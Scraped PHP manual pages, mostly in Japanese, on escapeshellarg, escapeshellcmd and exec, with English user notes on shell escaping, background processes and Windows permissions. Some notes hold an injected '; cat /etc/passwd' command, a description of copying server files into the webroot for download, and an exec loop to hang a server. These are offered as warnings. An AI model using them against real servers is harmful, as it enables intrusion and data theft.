margus at kohv dot com 18-Jan-2005 03:10
Well, I had this issue when I wanted to start an indefinitely running PERL script from PHP. Somehow I could not make the PHP script to return after executing the PERL script. So finally I came to following solution:

PHP file
-------------------
<?php
exec("perl /home/chatserver.pl > /dev/null");
?>
-------------------
This script will be run over HTTP.

PERL file
-------------------
#!/usr/bin/perl
fork and exit 1;

# normal code here...
-------------------

Hopefully it helps someone :)
Margus
sean @T keenio - dot - com 09-Jan-2005 11:35
Just to clarify, background shell exec()ing is not the same as a fork() under Unix. It would be useful if PHP supported fork() like Perl and other scripting languages do. Simply exec()'ing a process and sending it to the background is not the same.

A true fork() copies the current environment and duplicates the running script so that there are two instances, one child, one parent. The child and parent can determine which copy they are and then take separate courses of execution paths based on that. Often one copy will perform some "busy work" while the other returns to normal execution. But no matter what, both functions live within the same code rather than a separate, external program. exec()ing can not do this for you.
sam at freepeers dot com 01-Oct-2004 05:51
To clarify even more about what has been said in the last few posts:

"exec", "backticks", "system" and so on will fail on Windows 2003 by default.

You must modify the security on cmd.exe to give the user account IUSR-computername the necessary permissions which are at least read & execute.
leaetherstrip at inbox dot ru 08-Jul-2004 02:23
Note on XP users: XP-Home edition does not allow to set rights directly on files and folders. You should use cacls command-line utility to do this.

For example:

cacls c:\windows\system32\cmd.exe /E /G IUSR_ADMIN2003:F

gives IIS user full access to cmd.exe (potential security hole!), so PHP can fork and execute external programs.
dotpointer 14-May-2004 06:02
Win32 / PHP 4.3.6...

If you plan to start programs on the server that show message boxes (things that require OK from the server-side), or remain (like notepad.exe), and the exec-command seems to go into an deadly loop, then MAYBE your program has started, but you can't see it. Because the web server runs as an system process, and it isn't allowed to interact with the desktop.

To solve a part of the problem (to see the programs you execute), in the control panel in Windows, goto Administration->Services, right-click the server-service, goto Properties and on the second tab (login?) and check the box about allowing the service to interact with the desktop. Click OK. Restart the webserver, and MAKE SURE it is restarted for real (i.e. look in the task manager so the service goes _down_), otherwise the desktop-option won't take.

Next phase would be to stop PHP from waiting for the processes to complete (this is what makes PHP "loop"). I solved this by creating a small Delphi-application that took the path to the file I wanted to execute and executed it by the WinExec API, which just starts the childprogram but doesn't wait for it to complete = the program completes and the PHP.exe completes the script. Problem solved!

Delphi-snippet:
WinExec(PChar(<CMD>),SW_SHOW); // replace <CMD> with the program path.
vosechu at roman-fleuve dot com 25-Mar-2004 06:35
Quick chart that helped me immensely (Best (+) / worst (o) of each command) and when to use each (w).

| exec(string cmd, [array cmd_output, [int cmd_exit_status]])
+- Second (optional) argument holds an array containing the output line by line.
+- Third (optional) argument holds the exit status of the executed program.
w- When the output of a command is only important to the program.

| system(string cmd, [int cmd_exit_status])
+- Echos ascii output straight to browser (only stdout; stderr must be redirected by putting 2>&1 after the command to see errors).
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is important to the user.

The more I go over my notes the less I care for the last two functions.
Shell_exec() = exec() + implode() - exit codes.
And while neccessary to be able to pipe binary through php, most people will never use passthru

| passthru(string cmd, [int cmd_exit_status])
+- Echos binary output directly to browser window.
+- Second (optional) argument holds the exit status of the executed program.
w- When the output of a command is binary.

| shell_exec(string cmd) <-- minimal features to maintain sync with normal use of backticks.
+- Returns full output as a string instead of directly to the browser (only stdout; stderr must be redirected).
o- No way to check exit status (Should use system() with both stderr and stdout redirected to /dev/null to get the exit code).
ferchland at computer-kontor dot de 22-Jan-2004 08:24
I tried to fork a GUI-process on WinNT, Apache 2, PHP4.
I saw the new process (notepad.exe) in the Task-Managers process-list, but no Notepad-Window anywhere!
After activating the checkbox "Interactive with Desktop allowed" in Services->Apache everthing works with a simple command
exec("start c:\\winnt\\notepad.exe");
dens at dodgeball dot com 18-Sep-2003 03:41
I was stuck for about an hour and a half last night trying to get Perl to pass back values to my PHP script after running an exec() command.

Since my Perl script was using STDOUT (after being passed command lines variables), I expected the variables used in my .pl script to be accessible in PHP, no questions asked.

Of course, this wasn't working and I finally figured it out with the help of a friend (Shawn = superstar):  you need to echo the exec() command in order to get the values back into PHP.

Since I was returning multiple values, I added pipe delimiters in my .pl script and then used PHP to parse the string to retreive my data into different variables.

Check it out:

#hit the .pl script with the data
$mydata = exec("script.pl 'command line args' ");
exec("exit(0)");

#parse the value that comes back from the .pl script
list($strA, $strB) = split ('[|]', $mydata);
echo "valueA: " . $strA."<br>";
echo "valueB: " . $strB."<br>";

Woo-hoo!
/d
software at yvanrodrigues dot com 29-Jul-2003 02:55
MORE ON THE UNABLE TO FORK MESSAGES IN WINDOWS:

I would like to confirm that this issue relates to permissions on %SYSTEMROOT%\SYSTEM32. The user (usually the anonymous login) must have execute permissions on cmd.exe

This is unlike most other programming languages. For example, in C the spawn and exec functions do not try to open a shell, they create the new process directly. PHP creates the new process via cmd.exe (or command.com) much like the C system() function. This is good for those of you who are trying to run batch files but this is very ineffecient for running other .exe files.

I feel uneasy about lifting permissions in my system32 directory but you can get around this by copying cmd.exe to your PHP directory. Windows will look there first and if it is not there it will check the path. Note: I mean the directory where php.exe is, not your script directory.

I have confirmed this by running filemon.exe while trying to execute a script, and you can see it trying to start the cmd.exe process.
kristof_jebens at hotmail dot com 23-Jun-2003 02:23
For WIN2K Server users running Apache 1.3.22 who are unable to run an executable...

exec('c:\\WINNT\\system32\\cmd.exe /c START c:\\file.exe');

this is the only way it worked for me.
Hope that helps
mk at neon1 dot net 20-Apr-2003 09:17
If you want to execute background processes from PHP that should run indefinitely, be aware of the following nasty behavior (confirmed with PHP 4.3.1 under FreeBSD, but probably under other flavors of UNIX, too):

PHP internally calls setitimer(2) to set the profiling interval timer (ITIMER_PROF) to enforce execution time limits (max_execution_time and max_input_time). These timer values are passed down to all processes executed by PHP. This means that after such a process has consumed [max_execution_time] seconds of CPU time (not wallclock time!), the system will send it a SIGPROF (signal 27). Since most processes don't use this signal and as such don't call signal(3) to catch or ignore it, the default action is executed, which is to terminate the process.

So if you see background processes that were executed from PHP dying at seemingly random times, you may be experiencing this issue. The solution is simply to call set_time_limit(0) just before executing the process.
jpgiot at ifrance.com 25-Jan-2003 06:30
FOR WINDOWS USERS

i had a look to start command. it's really usefull in fact.

this is how i launch a specific Apache SSL server

<?php
$cmd = "start /D C:\OpenSA\Apache /B Apache.exe -D SSL";
exec($cmd,$output,$rv);
?>

/D specify the path where application will be launched (equivalent to cd to path)
/B launch application without a console window

so to know the exact parameters of start, you could use

<?php
exec("start /? > start.txt");
?>

and you will get the help of start in a file named 'start.txt' in the same place you run the script

for WIN 98 you may need to modify a little your command

exec("COMMAND.COM /C START program args >NUL");

(taken from another post)
jfl at eksperten dot dk 10-Jan-2003 10:01
I made my script work in the background like this:
function start_shell ($cmd) {
    exec('nohup "'.$cmd.'" > /dev/null &');
}
qscripts at lycos dot nl 07-Jan-2003 05:45
Why not using the "start" utility, provided with every version of Windows to start processes in the background on Windows machines? For example :

exec("start song.mp3");

Which will cause the default handeling application for .MP3 file types to start playing the selected song..
k dot mitz dot NO_SPAM at att dot NO_SPAM dot net 15-Sep-2002 02:07
Newbie note:

The only syntax I found to work for the command portion of an an exec() call on a Win2K devel platform is:

$cmd = "\"path-to-exe\" args file-name";

where 'path-to-exe' has escaped double quotes, args are in the standard format, and 'file-name' has any backslashes escaped.

Example:

$cmd = "\"C:\program files\winzip\wzunzip.exe\" -c C:\\temp\\uploaded_file.zip";

exec($cmd,$output,$rv);

Note that the backslashes are escaped in the uploaded_file name, but not in the path to call the Winzip executable.  Go figure!
kop at meme dot com 12-Aug-2002 02:52
AFICT, the standard Unix Apache configuration causes an rare problem when running a job in the background. The MaxRequestsPerChild directive causes the child to terminate after 1000 requests, any background processes associated with the child will die with the child unless they are started with the "nohup" command.  Thus, the proper way to start a job in the background is to use:

exec('nohup my-command > /dev/null 2>&1 &')
ramirosuarez at fibertel dot com dot ar 12-Jul-2002 08:58
For Windows Users:

Keep in mind that a lot of UNABLE TO FORK Errors are the result of insufficient permissions.

CMD.EXE, TEMP Directory (or whatever you specified in php.ini), and all the directories that you use to upload o manipulate your files need to have Write privileges? usually user USER.

This will be useful for all the people who use GD Libraries or other programs that manipulate graphic images.
GCMXZPJPDJER at spammotel dot com 30-Jun-2002 12:41
to execute a script in background from php you don't need to use mikehup or other tools. just do:

`/usr/bin/php -q foobar.php >/dev/null 2>&1 &`;

mat
deschampsbest at noos dot fr 26-Jun-2002 01:05
I needed to know when a group of background tasks, which had been launched with a call to system, had terminated.
I could not find a function to call, so I created a little function.

It basically loops on the existance of a string in the results returned by the command ps.

All my commands, which run in background have the pid returned by posix_getpid in them.

I am able to launch many background task and effectively wait for them all to finish.

Before this, I would basically would sleep for N seconds.

I apologise if a well known or better method exist.

Thanks,
The New Bee
===============
===============

function wait_until_termination ($id, $duration){
                $i = 0;
                do {
                        $i += 1;

                        $cnt = `ps -auxww |
                                grep $id |
                                grep -v grep |
                                awk '{print $2}' |
                                grep -v $id|
                                wc -l` ;

                        if ($cnt > 0) {
                                sleep ($duration);
                        }

                } while ($cnt != 0);

                echo ("wait_until_termination (PID: $id, SEC: $duration) : LOOPS
:$i<BR>");
        }
rolland dot dudemaine at msg-software dot com 11-Apr-2002 05:45
In case you ever had to chain from php to another program (e.g. with a cgi php that only gives part of the output, or with php-gtk), here is a little C program that kills his parent (php, for instance), then launches a program given in argument.

chain.c :

#include <unistd.h>

int main(int argc, char**argv) {
  /* kill the parent */
  kill(getppid(), 15);
  argv++;
  /* then launch the new program */
  return execvp(argv[0], argv);
}
(compile with gcc -O3 -o chain chain.c)
then in php, use
<?
exec('chain sh -c echo test');
?>
vi_pa at hotmail dot com 05-Apr-2002 04:17
For those who want to execute a .php script to run in the background, from a
.php web page...

exec("php script.php parameters 2>dev/null >&- <&- >/dev/null &");

Where...
- php is the path to your php script executer (php has to be specifically complied to be to do this)
- script.php is the script
- parameters are none or more parameters
- 2>dev/null redirects the stderr to a file
- <&- switches off the stdin
- >&- switches off the stdout
- >dev/null redirects all other output to the file dev/null
- & direct script to run in background

This is the only way I managed to get it working (Linux & Apache, php 4x enviroment) . What is also great is that the process is forked so even though a user may close the browser that initiated the exec(), the process will still run to completion. And the dev/null file can be turned into a log.

What I found odd is that the script I was execing would run fine in the bg when executed from the command line, but not from the browser until I closed the stdin and stdout.
daniel dot hopp at godot dot de 01-Feb-2002 11:25
Re: session_write_close()

To launch a background process within a session, I recommend
to use a start-stop-daemon and ship parameters via ENV.

Example:
----------------------------------------
<?php
  // Within a session..
  exec("/some/where/launch.sh 300");
  // ..finished immediately.
?>

----------------------------------------
#!/bin/bash
# /some/where/launch.sh
T=$1
export T
DAEMON=/some/where/runme.pl
start-stop-daemon --start --quiet --background --exec $DAEMON

----------------------------------------
#!/usr/bin/perl
# /some/where/runme.pl
my $t = $ENV{'T'};
sleep($t);

----------------------------------------


シェル引数として使用される文字列をエスケープする

  • ≪ プログラム実行関数
  • escapeshellcmd ≫
  • PHP Manual
  • プログラム実行関数
  • シェル引数として使用される文字列をエスケープする

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

escapeshellarg — シェル引数として使用される文字列をエスケープする

説明

escapeshellarg ( string $arg ) : string

escapeshellarg() は、文字列をシングルクオート で括り、既存のシングルクオートを全てクオート/エスケープします。こ れにより、文字列を直接シェル関数に渡し、単一の安全な引数として処 理することを可能にします。この関数は、ユーザー入力からの入力を シェル関数への引数として渡す際にエスケープするために使用する必要 があります。シェル関数には、exec(), system()そして バックティック演算子 を含むシェル関数が含まれます。

Windows では、escapeshellarg() は、パーセント記号と感嘆符 (遅延環境変数の展開) とダブルクォートをスペースに置き換えます。 そして、文字列をダブルクォートで囲みます。

パラメータ

arg

エスケープされる引数

返り値

エスケープされた文字列

例

例1 escapeshellarg() の例

<?php
system('ls '.escapeshellarg($dir));
?>

参考

  • escapeshellcmd() - シェルのメタ文字をエスケープする
  • exec() - 外部プログラムを実行する
  • popen() - プロセスへのファイルポインタをオープンする
  • system() - 外部プログラムを実行し、出力を表示する
  • バックティック演算子

User Contributed Notes

divinity76 at gmail dot com 11-Feb-2021 01:45
if you need to generate Linux arguments even when running on Windows, try

<?php

    /**
     * quote arguments using linux escape rules, regardless of host OS
     * (eg, it will use linux escape rules even when running on Windows)
     *
     * @param string $arg
     * @throws \InvalidArgumentException if argument contains null bytes
     * @return string
     */
    /*public static*/ function linux_escapeshellarg(string $arg): string
    {
        if (false !== strpos($arg, "\x00")) {
            throw new \InvalidArgumentException("argument contains null bytes, it's impossible to escape null bytes!");
        }
        return "'" . strtr($arg, [
            "'" => "'\\''"
        ]) . "'";
    }
Anonymous 11-Feb-2021 01:44
if you need to generate Linux arguments even when running on Windows, try

<?php

    /**
     * quote arguments using linux escape rules, regardless of host OS
     * (eg, it will use linux escape rules even when running on Windows)
     *
     * @param string $arg
     * @throws \InvalidArgumentException if argument contains null bytes
     * @return string
     */
    /*public static*/ function linux_escapeshellarg(string $arg): string
    {
        if (false !== strpos($arg, "\x00")) {
            throw new \InvalidArgumentException("argument contains null bytes, it's impossible to escape null bytes!");
        }
        return "'" . strtr($arg, [
            "'" => "'\\''"
        ]) . "'";
    }
crose 16-May-2020 01:40
Ubuntu: wondering why your system locale (e.g. 'en_US.UTF-8') is  not inherited to your Apache (still 'C')?

Check `/etc/apache2/envvars`  ... activate the line `. /etc/default/locale`
daverandom 23-Mar-2019 02:32
On Windows, this function naively strips special characters and replaces them with spaces. The resulting string is always safe for use with exec() etc, but the operation is not lossless - strings containing " or % will not be passed through to the child process correctly.

Correctly escaping shell commands on Windows is not a simple matter. Programs must consider two distinct escape mechanisms which serve different purposes:
 1) The convention used by the CommandLineToArgV() windows system function, used by the child process to interpret the command line string
 2) The convention used by cmd.exe to escape shell meta-characters (e.g. output redirection controls)

All commands should be escaped for CommandLineToArgV() - this mechanism is applied to each argument individually before it is appended to the command line string. The resulting string may be safely used with the CreateProcess() family of system functions. However...

In almost all cases when creating a child process from PHP on Windows, it is done indirectly by invoking cmd.exe - this is to enable the use of shell functionality such as I/O redirection and environment variable substitution. As a consequence, the entire command string must be further escaped for cmd.exe. If the executed command contains further indirect calls through cmd.exe, each child command must be escaped again for each level of indirection.

The following functions can be used to correctly escape strings such that they are safely passed through to a child process:

<?php

/**
 * Escape a single value in accordance with CommandLineToArgV()
 * https://docs.microsoft.com/en-us/previous-versions/17w5ykft(v=vs.85)
 */
function escape_win32_argv(string $value): string
{
    static $expr = '(
        [\x00-\x20\x7F"] # control chars, whitespace or double quote
      | \\\\++ (?=("|$)) # backslashes followed by a quote or at the end
    )ux';

    if ($value === '') {
        return '""';
    }

    $quote = false;
    $replacer = function($match) use($value, &$quote) {
        switch ($match[0][0]) { // only inspect the first byte of the match

            case '"': // double quotes are escaped and must be quoted
                $match[0] = '\\"';
            case ' ': case "\t": // spaces and tabs are ok but must be quoted
                $quote = true;
                return $match[0];

            case '\\': // matching backslashes are escaped if quoted
                return $match[0] . $match[0];

            default: throw new InvalidArgumentException(sprintf(
                "Invalid byte at offset %d: 0x%02X",
                strpos($value, $match[0]), ord($match[0])
            ));
        }
    };

    $escaped = preg_replace_callback($expr, $replacer, (string)$value);

    if ($escaped === null) {
        throw preg_last_error() === PREG_BAD_UTF8_ERROR
            ? new InvalidArgumentException("Invalid UTF-8 string")
            : new Error("PCRE error: " . preg_last_error());
    }

    return $quote // only quote when needed
        ? '"' . $escaped . '"'
        : $value;
}

/** Escape cmd.exe metacharacters with ^ */
function escape_win32_cmd(string $value): string
{
    return preg_replace('([()%!^"<>&|])', '^$0', $value);
}

/** Like shell_exec() but bypass cmd.exe */
function noshell_exec(string $command): string
{
    static $descriptors = [['pipe', 'r'],['pipe', 'w'],['pipe', 'w']],
           $options = ['bypass_shell' => true];

    if (!$proc = proc_open($command, $descriptors, $pipes, null, null, $options)) {
        throw new \Error('Creating child process failed');
    }

    fclose($pipes[0]);
    $result = stream_get_contents($pipes[1]);
    fclose($pipes[1]);
    stream_get_contents($pipes[2]);
    fclose($pipes[2]);
    proc_close($proc);

    return $result;
}

// usage

$badString = 'String with "C:\\quotes\\" or malicious %OS% stuff \\';
$cmdParts = [
    'php',
    '-d', 'display_errors=1', '-d', 'error_reporting=-1',
    '-r', 'echo $argv[1];',
    $badString // child process $argv[1] value
];

/* The typical approach - works fine on POSIX shells but totally wrong
   on Windows */
$wrong = implode(' ', array_map('escapeshellarg', $cmdParts));

/* Always escape each argument individually */
$escaped = implode(' ', array_map('escape_win32_argv', $cmdParts));

/* In almost all cases, escape for cmd.exe as well - the only exception is
   when using proc_open() with the bypass_shell option. cmd doesn't handle
   arguments individually, so the entire command line string can be escaped,
   no need to process arguments individually */
$cmd = escape_win32_cmd($escaped);

$cmds = [
    'escapeshellarg() - wrong' => $wrong,
    'escape_win32_argv() - correct for bypass_shell' => $escaped,
    'escape_win32_cmd(escape_win32_argv()) - correct everywhere else' => $cmd,
];

function check($original, $received)
{
    $match = $original === $received ? '=' : 'X';
    return "$match '$received'";
}

foreach ($cmds as $description => $cmd) {
    echo "$description\n";
    echo " $cmd\n";
    echo "  original:         '$badString'\n";
    echo "  shell_exec():   " . check($badString, shell_exec($cmd)) . "\n";
    echo "  noshell_exec(): " . check($badString, noshell_exec($cmd)) . "\n";
    echo "\n";
}
Jasen 30-Oct-2018 07:49
if you want empty arguments for empty input

use the form

     escapeshellarg($input)."''"

the shell will treat foo'' as foo  but empty input will become an empty argument instead of a missing one.
jon at wroth dot org 18-Apr-2014 07:20
the best alternative to escapeshellarg() for windows i've come up with is this:
<?php
function w32escapeshellarg($s)
{ return '"' . addcslashes($s, '\\"') . '"'; }
?>
wijnand at jpresult dot nl 11-Apr-2013 11:32
Here's a quick and dirty replacement of this function in case you need to deal with special characters.

<?php
/**
 * An ugly, non-ASCII-character safe replacement of escapeshellarg().
 */
function escapeshellarg_special($file) {
  return "'" . str_replace("'", "'\"'\"'", $file) . "'";
}
?>
sblyons+php at gmail dot com 24-Jul-2012 02:38
Take care if using escapeshellarg() on serialized objects. Serialized objects contain null bytes, and escapeshellarg stops on the first null byte so you will not receive the full argument. (I consider this a bug, though not sure what it should do in this case. Probably serialize shouldn't have used null bytes, but too late for that now).
The workaround I've found to pass serialized objects on the command line is to base64_encode() them first and decode on the other side.
phil at philfreo dot com 03-Aug-2010 03:56
When escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the problem:

<?php
setlocale(LC_CTYPE, "en_US.UTF-8");
?>
phpman at crustynet dot org dot uk 12-Oct-2009 10:53
The comment from 'rmays at castlecomm dot com' is incorrect: single quotes cannot be backslash-escaped inside a single-quoted string when constructing a shell argument. The output from this function is in fact correct. It drops out of the single-quoted string, includes a literal single quote with a backslash-escape, then resumes the single-quoted string. Observe:

[shellarg.php]
<?php

system("echo ' single quote\'d '");
system("echo ' single quote'\''d '");
?>

$ php shellarg.php
sh: -c: line 0: unexpected EOF while looking for matching `''
sh: -c: line 1: syntax error: unexpected end of file
 single quote'd
jrbeaure at uvm dot edu 26-Jun-2009 06:51
When running a string of LaTeX code containing hyphens through as an argument to pdflatex escaped using this command, it will result in failure.
info at infosoporte dot com 20-Jan-2009 04:12
If escapeshellarg() function removes your accents (like a, a with an 'accute') from the given string, ensure your LC_ALL variable is correct. If using it via web, you need to restart Apache or the corresponding web server after setting LC_ALL with a export LC_ALL=es_ES.utf8 (for example) from your shell.
Audun 30-Jul-2008 05:02
The reason why % are replaced with space on windows is that it is impossible in cmd.exe to escape or quote them so that environment variables are not expanded.  If for instance %path% is in your argument it will always be expanded, so the only safe thing to do is to replace % with something else.

Alternatively, you could wipe the environment before making the call to exec(), but that has its side-effects.
egorinsk at gmail dot com 28-Apr-2007 04:09
Under Windows, this function puts string into double-quotes, not single, and replaces %(percent sign) with a space, that's why it's impossible to pass a filename with percents in its name through this function.
22-May-2006 05:25
Most of the comments above have misunderstood this function. It does not need to escape characters such as '$' and '`' - it uses the fact that the shell does not treat any characters as special inside single quotes (except the single quote character itself). The correct way to use this function is to call it on a variable that is intended to be passed to a command-line program as a single argument to that program - you do not call it on command-line as a whole.

The person above who comments that this function behaves badly if given the empty string as input is correct - this is a bug. It should indeed return two single quotes in this case.
vosechu at roman-fleuve dot com 25-Mar-2004 05:05
If escapeshellarg() returned something on a null input it would probably break more programs than it helps. Even if it's two "'s or two ''s, this function wouldn't work the way it's supposed to (that is, returning nothing).

However, most people do not put "" into their commands but I can see where it might be useful at the same time.
Perhaps an option in the command that would return the type of null we want. I might want the null character to be returned, someone else might want '', and someone else might want nothing at all.


シェルのメタ文字をエスケープする

  • ≪ escapeshellarg
  • exec ≫
  • PHP Manual
  • プログラム実行関数
  • シェルのメタ文字をエスケープする

escapeshellcmd

(PHP 4, PHP 5, PHP 7, PHP 8)

escapeshellcmd — シェルのメタ文字をエスケープする

説明

escapeshellcmd ( string $command ) : string

escapeshellcmd() は、文字列中においてシェルコマンドを だまして勝手なコマンドを実行する可能性がある文字をエスケープします。 この関数は、ユーザーに入力されたデータを関数 exec() または system() または、 バックティック演算子 に渡す前に全てエスケープを行う場合に使用するべきです。

&#;`|*?~<>^()[]{}$\、\x0A および \xFF については、その文字の前にバックスラッシュが 追加されます。' および " は、対になっていない場合にのみエスケープされます。 Windows では、 これらの文字に加えて % と ! の前にキャレット (^) が付加されます。

パラメータ

command

エスケープされるコマンド

返り値

エスケープされた文字列

例

例1 escapeshellcmd() の例

<?php
// 意図的に、任意の数の引数を指定できるようにしています
$command = './configure '.$_POST['configure_options'];

$escaped_command = escapeshellcmd($command);

system($escaped_command);
?>

警告

escapeshellcmd() はコマンド文字列全体に適用しなければなりません。 また、そうしたところで、まだ任意の数の引数を渡すことによる攻撃を許してしまいます。 単一の引数をエスケープするには、かわりに escapeshellarg() を使わねばなりません。

参考

  • escapeshellarg() - シェル引数として使用される文字列をエスケープする
  • exec() - 外部プログラムを実行する
  • popen() - プロセスへのファイルポインタをオープンする
  • system() - 外部プログラムを実行し、出力を表示する
  • バックティック演算子

User Contributed Notes

phpcomment at reversiblemaps dot ath dot cx 17-Apr-2012 11:31
escaping strings for a shell is tricky.

  If your target system is windows give up now.  windows isn't even self consisitent in how to escape stuff.

  if unix convert everything to octal - although this is hardest to implement it's the easiest to implement correctly - there are no special cases..
.
nicholas at nicholaswilson dot me dot uk 29-Jan-2011 07:41
There is a quirk to be aware of regarding use of echo. If you have a command which you want to execute which takes input from STDIN, you would normally do:

<?php $output = shell_exec("echo $input | /the/command"); ?>

Unfortunately, this is a *bad idea* and will make your script unportable, providing a very hard-to-trace bug on some systems. Depending on how the server is set up, /bin/sh will either call /bin/bash or /bin/dash, and these have very different versions of echo. Never use echo; use printf instead which is consistent. How do you escape for printf? Do this:

<?php
$input = 'string to be passed *exactly* to the command';
//Escape only what is needed to get by PHP's parser; we want
//the string data PHP is holding in its buffer to be passed
//exactly to stdin buffer of the command.
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $input);
$cmd = escapeshellarg($cmd);

$output = shell_exec("printf $cmd | /path/to/command");
?>

For the paranoid, this torture test verifies that both shell escaping and printf's own escaping are handled correctly. Use with confidence!

<?php

$test = 'stuff bash interprets, space: # & ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF. \' " %'.PHP_EOL.
        'stuff bash interprets, no space: #&;`|*?~<>^()[]{}$\\x0A\xFF.\'\"%'.PHP_EOL.
        'stuff bash interprets, with leading backslash: \# \& \; \` \| \* \? \~ \< \> \^ \( \) \[ \] \{ \} \$ \\\ \\\x0A \\\xFF. \\\' \" \%'.PHP_EOL.
        'printf codes: % \ (used to form %.0#-*+d, or \\ \a \b \f \n \r \t \v \" \? \062 \0062 \x032 \u0032 and \U00000032)';

echo "These are the strings we are testing with:".PHP_EOL.$test.PHP_EOL;
$cmd = $test;
$cmd = str_replace(array('\\', '%'), array('\\\\', '%%'), $test);
$cmd = escapeshellarg($cmd);

echo PHP_EOL."This is the output using the escaping mechanism given:".PHP_EOL;
echo `printf $cmd | cat`.PHP_EOL;

echo PHP_EOL."They should match exactly".PHP_EOL;
?>
carlos at wfmh dot org dot pl dot REMOVE dot COM 24-Jun-2010 04:42
Mind it does not escape ! (exclamation mark). So if you want to i.e. printf() commands for later use in shell (i.e. by pasting to the console) you need to escape all exclamation marks or shell will try to process ! as history reference. This approach shall suffice:

<?php $scaped = str_replace('!', '\!', escapeshellarg( $str ) ); ?>
Leon 11-Feb-2007 04:31
This function is great -- except when you need to legitimately use an escaped character as part of your command.  The code below leaves the parts of the command that are enclosed within single quotes alone, but escapes the rest eg:

"echo Never use the '<blink>' tag ; cat /etc/passwd"
becomes:
"echo Never use the '<blink>' tag \; cat /etc/passwd"
and not:
"echo Never use the '\<blink\>' tag \; cat /etc/passwd"

i.e, we really want the ';' escaped, but not the HTML tag.  I really needed the code below in order to run the external ImageMagick's 'convert' command properly and safely...

<?php

// Escape whole string
$cmdQ = escapeshellcmd($cmd);

 // Build array of quoted parts, and the same escaped
preg_match_all('/\'[^\']+\'/', $cmd, $matches);
$matches = current($matches);
$quoted = array();
foreach( $matches as $match )
    $quoted[escapeshellcmd($match)] = $match;

// Replace sections that were single quoted with original content
foreach( $quoted as $search => $replace )
    $cmdQ = str_replace( $search, $replace, $cmdQ );

return $cmdQ;

?>
abennett at clarku dot edu 05-Jul-2006 11:59
I've got a php script that needs to pass a username and password via exec to a perl script.  The problem is valid password characters were getting escaped...

Here's a little perl function I wrote to fix it.

sub unescape_string {
      my $string = shift;
      # all these interpolated regex's are slow, so if there's no
      # backslash in the string don't bother with it
      # index() is faster then a regex
      if ( ! index($string,'\\\\') ) {
         return $string;
      }
      my @characters = ('#', '&', ';', '`', '|', '*', '?', '~', '<', '>', '^', '(', ')',
                        '[', ']', '{', '}', '$', '\\', ',', ' ', '\x0A', '\xFF' );
      my $character;
      foreach $character (@characters) {
         $character = quotemeta($character);
         my $pattern = "\\\\(" . $character . ")";
         $string =~ s/$pattern/$1/g;
      }
      return $string;
}

Hope this is useful.
ceejay at trashfactory dot de 15-Mar-2006 04:43
Well guys, i find it very hard that escapeshellarg and escapeshellcmd are forcely run when passing a command to exec, system or popen, when safe_mode is turned on.

Right now, i did not find any working solution to pass commands like this:
cmd -arg1 -arg2 "<BLA varname=\"varvalue\" varname1=\"varvalue1\" />"

it is just the case, that the parameter for arg2 which is a string that looks like an HTML-Tag with various attributes set, all attributes of the string in arg2 gets splitted by the whitespaces within. this wont happen with safe_mode turned off, so it must be one of the escapefunctions, that breaks functionality.

In order to circumvent this, i have made a temporary solution, which dynamically creates a skriptfile (by fopen), which just contains the whole command with arguments, and then execute that skriptfile. i dont like that solution, but in the other hand, safe_mode cannot be easily turned off on that server.
docey 12-Apr-2005 05:56
the main reason for quoting a command is that it not multiple  command can be joined. i don't know for sure if this is the right syntax but remeber that this can do some nice security breaks. here's one way of how to know exactly what your trying to break into for.

normal any user on linux can view almost any directory so:
ls / -als will print a complete list of any file in the linux filesystem including its size, security and hidden files as well.

now the output would only become known to php and never will the user be able to view this data unless the php script would actual start to print it out. like passtru does!! but a good php coder knows never to use passtru unless not otherwise possible.

but what would happen if you can direct the output from ls also from that same commandline to a file in the webroot most webserver still default their base-webroot to /var/www/ so storing it there in text file to download it later and you can simply take coffee while checking wich files can be read by php security mode and then simply use the cp command to copy those to the webroot and download them to your own hard-disk. without a list of the files you can only guess where to copy from! and thats harder then guessing the root password.

so if the first command was quoted it is not possible to attach another command because of a syntax error. think of all the thinks you can do once you got a complete list of every file on the filesystem. including mounted once via NFS and others. security starts at keeping the door hidden.

also another nice command for hanging the webserver can be "php <?php while(true){ exec('ls / -als'); }; ?>" this keeps creating a file list on the entire filesystem wich not only keeps the hard-disk(s) bussy but also memory and cpu   wich must store the returned list. so keeping in mind not all command accepted from users can be used blind.

actualy never accept any command from external sources only proven built-in predefined commands should be executed.
trisk at earthling dot net 31-Jan-2005 10:19
This function does not work as shown in the php.net examples.

If you put your encoded filename into double-quotes as they suggest, then it will break on certain characters in filenames, such as ampersand.

For example if you have a filename called "foo & bar.jpg" and you use this function on it, your resulting filename when double-quoted will produce this and not be found:

"foo \& bar.jpg"

If you need to have a single argument where spaces are included then do not use this function with added double-quotes, use escapeshellarg() which encloses the whole string in single quotes.

I do not understand which purpose this particular function is intended for.  I can't see any use for it, unless you pass it through another function and convert spaces " " to "\ ", which would allow you to use the string directly on the command line.


外部プログラムを実行する

  • ≪ escapeshellcmd
  • passthru ≫
  • PHP Manual
  • プログラム実行関数
  • 外部プログラムを実行する

exec

(PHP 4, PHP 5, PHP 7, PHP 8)

exec — 外部プログラムを実行する

説明

exec ( string $command , array &$output = null , int &$result_code = null ) : string|false

exec() は指定されたコマンド command を実行します。

パラメータ

command

実行するコマンド

output

引数 output が存在する場合、指定した配列は、 コマンドからの出力の各行で埋められます。 \n のような後に続く空白は、この配列には含まれません。 配列に既に何らかの要素が 含まれる場合は、exec() は配列の最後に追加される ことに注意してください。関数が要素を追加することを望まないのなら、 それが exec() に渡される前に、配列の unset() を呼び出してください。

result_code

引数result_codeが、引数 output と共に存在する場合、実行したコマンドの ステータスがこの変数に書かれます。

返り値

コマンド結果の最後の行を返します。コマンドを実行し、 一切干渉を受けずに直接コマンドから全てのデータを受けとる必要が あるならば、PassThru() 関数を使ってください。

失敗時に false を返します。

実行されたコマンドの出力を取得するには、必ず output パラメータを設定・使用してください。

例

例1 exec() の例

<?php
// ("whoami" コマンドをパスに有するシステム上で)
// 実行中のphp/httpdプロセスを所有するユーザーの名前を出力
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

上の例の出力は、 たとえば以下のようになります。

Returned with status 0 and output:
Array
(
    [0] => cmb
)

注意

警告

